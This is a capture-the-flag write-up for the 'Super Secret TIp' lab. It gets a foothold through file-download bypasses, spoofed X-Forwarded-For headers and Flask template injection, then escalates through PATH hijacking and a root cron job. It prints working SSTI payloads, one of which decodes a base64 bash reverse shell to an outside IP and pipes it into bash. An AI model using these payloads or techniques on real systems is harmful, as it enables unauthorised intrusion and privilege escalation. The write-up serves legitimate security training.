Super Secret TIp
Are you only good at one thing? You better be a matrix! - by ayhamalali
Last updated
Are you only good at one thing? You better be a matrix! - by ayhamalali
Last updated
The following post by 0xb0b is licensed under
We hit up Nmap and scanned our target machine. We have two open ports: an HTTP server running on port 7777 and an SSH server running on port 22.
Visiting the site just gives us a static page with no working links. By inspecting the source of the page confirms that there is nothing of interest.
We start with a directory scan on the web server and find two interesting directories: /cloud
and /debug
. Let's visit them.
So, we have a download page at /cloud
, uploaded files can be downloaded using the radio buttons - which only a part of them work - or using the text box which is limited to six characters. In the text box there is a hint. The files that might be of interest could start with the character s
.
The /debug
page is the most interesting page. It hints to be able to execute something by providing a password.
Firstly, we try to download a file which we can select from the lastly uploaded ones. The IMG_1425.NEF
works. We directly start with Burp Suite to be able to provide custom inputs exceeding the limited six characters. Next, we tried several payloads like secret.py
or __init__.py
, but none of this were valid present files.
On hitting source.py
we finally get a result. We get the source of the request handler of the page.
There are three interesting routes, two of which we already know. The third (/debugresult
) we were not able to determine with Gobuster and our wordlist.
/cloud
: This route handles file downloads. It supports downloading '.txt' files and 'source.py'. Depending on the file requested, it sends the file as an attachment.
/debug
: This route is for debugging purposes. It checks if a user-provided password matches the stored password and performs some validation on a debug statement. If successful, it stores the debug statement and encrypted password in a session.
/debugresult
: This route displays the result of the debug operation. It checks for the presence of a valid session and displays the debug statement.
Furthermore, we have two interesting imports which we might have to analyze later.
There is a custom function illegal_chars_check
that checks if a string contains certain illegal characters like '
, &
, ;
, and %
. If any of these characters are found, it returns an error. This function is used in /debug
.
Sessions are created and stored if a valid command is inserted with the correct password
The password used to encrypt the provided user's password is stored in supersecrettip.txt
.
The provided user password is encrypted using the function get_encrypted
of debugpassword
.
Thus, we have to retrieve debugpassword
and supersecrettip.txt
to reconstruct the plaintext users' password.
First, we retrieve the secret in supersecrettip.txt
.
We are able to download other files than .txt
files by bypassing the file ending check at /cloud
. The bypass is possible by providing a nullbyte.
Let's download debugpassword.py
to reconstruct the plain password. We see it's a simple XOR cipher.
For reconstruction we write a simple python program to XOR the found secret (content of supersecrettip.txt
) with the hidden plaintext password in debugpassword.py
to get the plaintext password.
And we retrieve the plaintext password.
Now, we can move on to /debug
and check if the password works.
The statement got executed:
But we are not authorized to receive the result of our execution.
Lets revisit the source.py
again.
We have to pass the ip check and session check!
Let's retrieve ip.py
.
It checks for a present X-Forwarded-For
header which has to be set to 127.0.0.1
to evaluate the IP check to True
.
Let's try again executing 1337*1337
in /debug
, for this we are using Burp Suite Repeater. Until gaining foothold, we stay in the Repeater requesting the /debug
page to resolve our queries and pass the session cookie content to /debugresult
to retrieve the results.
We copy the cookie from the response of /debug
and pass it into the session cookie of /debugresult
. We modify the host to 127.0.0.1
and the X-Forwarded-For
header to 127.0.0.1
. Next, we just have to send our request and get the result. So for now on, we just have to pass the session cookie to /debugresult
in our repeater. The multiplication does not get evaluated.
Ok, let's try it with a classic SSTI using {{}}
like the title of the room hints.
We paste the cookie to /debugresult
and get the result of the multiplication. We are able to abuse the debug field to get remote code execution and spawn a reverse shell to get on the target machine.
For reference, we are using the following article. It discusses a code vulnerability in flask to execute Server-Side Template Injection (SSTI). We are currently able to execute simple multiplications but want to reach out to OS command execution.
The first thing we want to do it is to select a new-style object to use for accessing the object base class. We can simply use ‘ ‘, a blank string, object type str. Then, we can use the __mro__ attribute to access the object’s inherited classes. Inject {{ ‘’.__class__.__mro__ }} as a payload into the SSTI vulnerability.
We can see the previously discussed tuple being returned to us. Since we want to go back to the root object class, we’ll leverage an index of 1 to select the class type object. Now that we’re at the root object, we can leverage the __subclasses__ attribute to dump all of the classes used in the application. Inject {{ ‘’.__class__.__mro__[1].__subclasses__() }} into the SSTI vulnerability.
Let's retrieve all classes used in the application using:
{{"".__class__.__mro__[1].__subclasses__()}}
We are able to retrieve all classes used in the application and find the class subprocess.Popen
like in the article. It is located at index 415. Found by a simple python program, we wrote iterating through the returned array. It differs from case to case.
So, we are able to call subprocess.Popen
with the following payload:
{{"".__class__.__mro__[1].__subclasses__()[415]}}
Next, we try to execute the os command id
on the target machine:
{{"".__class__.__mro__[1].__subclasses__()[415]("id",shell=True,stdout=-1).communicate()}}
It's not always at index 415, even in this machine. After several restarts the index was in another attempt at 416. Anoher possible solution would be to use the following payload:
We enter the payload in the repeater:
And see, that the application is running under the user ayham
, we got os command execution.
Let's generate a reverse shell using revshell.com.
We use a simple bash shell:
We have to encode it in base64
, because the character &
is not allowed.
Our payload looks like the following below. We decode our reverse shell and pipe it into bash.
{{"".__class__.__mro__[1].__subclasses__()[415]("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjMxLjk0LzQ0NDUgMD4mMQo= | base64 -d | bash",shell=True,stdout=-1).communicate()}}
The payload has to be URL-encoded. We send the request and set up a listener.
For our reverse shell to connect, we have to retrieve the result at /debugresult
.
Our reverse shell connects, and we are user ayham
on the machine.
Lastly, we upgrade our shell.
We directly head to the home directory of ayham and find the first flag.
For the next part, we take the opportunity to escalate privileges to gain access to the user F30s. We see, that there are two cronjobs running. One run by F30s, the other by root.
Just for confirmation, we ran pspy64
.
And see both jobs are run regularly.
While enumerating, we find a writable .profile
file in F30s
home directory.
We are able to manipulate his PATH variable which is helpful, because the cronjob for F30s
is running bash with the tag -l
which means it act as if it had been invoked as a login shell referring the PATH variable.
So, we create a cat
executable at a writeable path containig a reverse shell, we chose /home/ayham/bin
and make it executable.
We manipulate the .profile file of F30s
via echo 'PATH="/home/ayham/bin/:$PATH"' > .profile
, prepending the path to the custom cat to the PATH
variable of the user.
We set up a listener and wait for connection. We are now F30s. We upgrade the shell and continue.
From our enumeration before with user ayham
we found another secret tip
at the root directory.
We remember the two cron jobs running. The one run by root runs cURL
with -K
command. With that, it reads its parameters through the specified file, site_check
. Now, that we are F30s
, we can modify the contents of the site_check
to read and write files with root
permissions.
From the first flag we now the name convention of the flags. We try to access the /root/flag2.txt
and save it into the home directory of F30s
.
After a short duration, we are able to get the contents of flag2.txt
. But it is encrypted. Maybe like the password of /debug
before.
Maybe there is another hint hidden in the root directory. We try to access the secret.txt
file, mentioned in the /cloud
page.
After a short duration, we also get the contents of secret.txt
. Again, it's some binary gibberish.
We take it easy now and use CyberChef. We convert the output of secret.txt
to hex and pass it to CyberChef. Recalling the secret-tip.txt
, "it's allways about root"
. XORing the contents of secret.txt
with root
, we are able to retrieve an incomplete key -a big number ending with XX - to decipher the flag. Several attempts were made here before using root
as key. For example with the now know password of /debug,
the contents of supersecrettip.txt
or the password inside debugpassword.py
just to name a few. Big shoutout to lineeralgebra for pointing me here on the correct track and the collaboration in this challenge.
Converting the content of secret.txt
:
Deciphering the content of secret.txt
:
Passing the decrypted key into CyberChef with the contents of flag2.txt
we are already able to see parts of the flag, by iterating the last two positions manually we are able to retrieve the final flag.